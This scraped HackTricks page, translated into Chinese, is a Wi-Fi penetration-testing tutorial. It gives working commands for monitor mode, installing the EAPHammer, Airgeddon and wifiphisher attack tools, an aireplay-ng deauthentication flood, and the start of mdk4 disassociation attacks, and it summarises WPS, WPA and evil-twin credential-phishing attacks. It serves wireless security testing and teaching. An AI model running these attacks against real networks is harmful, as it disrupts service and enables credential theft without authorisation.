hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • Wifi基本命令
  • 工具
  • EAPHammer
  • Airgeddon
  • wifiphisher
  • Wifite2
  • 攻击摘要
  • DoS
  • 拒绝服务攻击包
  • 解关联数据包
  • 通过 mdk4 进行更多的 DOS 攻击
  • Airggedon
  • WPS
  • WPS 暴力破解
  • WPS Pixie Dust攻击
  • 空 Pin 攻击
  • Airgeddon
  • WEP
  • WPA/WPA2 PSK
  • PMKID
  • 握手捕获
  • 检查文件中是否存在握手信息
  • WPA企业(MGT)
  • 用户名捕获
  • 匿名身份
  • EAP-暴力破解(密码喷洒)
  • 客户端攻击理论
  • 网络选择和漫游
  • 首选网络列表(PNLs)
  • 被动扫描
  • 主动探测
  • 具有重定向到互联网的简单AP
  • DHCP和DNS
  • hostapd
  • hostapd
  • 转发和重定向
  • 恶意孪生者
  • WPA/WPA2恶意双胞胎
  • 企业级恶意双生
  • 在恶意双子攻击中调试PEAP和EAP-TTLS TLS隧道
  • KARMA、MANA、Loud MANA和已知信标攻击
  • ESSID和MAC黑/白名单
  • KARMA
  • MANA
  • Loud MANA
  • 已知信标攻击
  • Wi-Fi Direct
  • EvilDirect Hijacking
  • 参考资料
  1. Generic Methodologies & Resources

Pentesting Wifi

上一页Spoofing SSDP and UPnP Devices with EvilSSDP下一页Evil Twin EAP-TLS

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 探索,我们的独家收藏品

  • 加入 💬 或 或 关注我们的Twitter 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

黑客见解 参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解及时了解快节奏的黑客世界

最新公告 随时了解最新的赏金计划发布和重要平台更新

Wifi基本命令

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

工具

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon是一个多用途的无线渗透测试工具,它结合了许多无线渗透测试工具的功能,使得渗透测试人员可以更轻松地执行各种无线渗透测试任务。

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

使用docker运行airgeddon

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

它可以执行恶意双胞胎、KARMA 和已知信标攻击,然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭证。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

这个工具自动化执行 WPS/WEP/WPA-PSK 攻击。它会自动执行以下操作:

  • 将接口设置为监听模式

  • 扫描可能的网络 - 并让您选择受害者

  • 如果是 WEP - 启动 WEP 攻击

  • 如果是 WPA-PSK

  • 如果是 WPS:Pixie dust 攻击和暴力破解攻击(请注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空 PIN 或数据库/生成的 PIN。

  • 尝试捕获来自 AP 的 PMKID 以进行破解

  • 尝试使 AP 的客户端断开连接以捕获握手

  • 如果有 PMKID 或握手,尝试使用前 5000 个密码进行暴力破解。

攻击摘要

  • DoS

  • 拒绝服务攻击/断开连接 -- 断开所有人(或特定的 ESSID/客户端)

  • 随机虚假 AP -- 隐藏网络,可能导致扫描器崩溃

  • 过载 AP -- 尝试使 AP 崩溃(通常不太有用)

  • WIDS -- 与 IDS 交互

  • TKIP,EAPOL -- 一些特定的攻击方式来对一些 AP 进行 DoS 攻击

  • 破解

  • 破解 WEP(多种工具和方法)

  • WPA-PSK

  • WPS PIN “暴力破解”

  • WPA PMKID 暴力破解

  • [DoS +] WPA 握手 捕获 + 破解

  • WPA-MGT

  • 用户名捕获

  • 暴力破解 凭据

  • 恶意双胞胎(带或不带 DoS)

  • 开放 恶意双胞胎 [+ DoS] -- 用于捕获强制门户凭据和/或执行局域网攻击

  • WPA-PSK 恶意双胞胎 -- 如果您知道密码,用于网络攻击

  • WPA-MGT -- 用于捕获公司凭据

  • KARMA, MANA, Loud MANA, 已知信标

  • + 开放 -- 用于捕获强制门户凭据和/或执行局域网攻击

  • + WPA -- 用于捕获 WPA 握手

DoS

拒绝服务攻击包

拒绝服务 攻击是 Wi-Fi 黑客中常见的一种方法,涉及伪造“管理”帧以强制将设备从网络中断开。这些未加密的数据包欺骗客户端,使其相信这些数据包来自合法网络,使攻击者能够收集用于破解的 WPA 握手或持续干扰网络连接。这种简单但令人震惊的策略被广泛使用,并对网络安全产生重大影响。

使用 Aireplay-ng 进行拒绝服务攻击

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 表示去认证

  • 1 是要发送的去认证数量(如果需要,可以发送多个);0 表示持续发送

  • -a 00:14:6C:7E:40:80 是接入点的 MAC 地址

  • -c 00:0F:B5:34:30:30 是要去认证的客户端的 MAC 地址;如果省略此项,则发送广播去认证(不总是有效)

  • ath0 是接口名称

解关联数据包

解关联数据包,类似于去认证数据包,是 Wi-Fi 网络中使用的一种管理帧。这些数据包用于切断设备(如笔记本电脑或智能手机)与接入点(AP)之间的连接。解关联和去认证之间的主要区别在于它们的使用场景。当 AP 发出 去认证数据包 以明确从网络中移除恶意设备时,通常在 AP 正在关闭、重新启动或迁移时发送 解关联数据包,从而需要断开所有连接的节点。

此攻击可通过 mdk4(模式 "d")执行:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
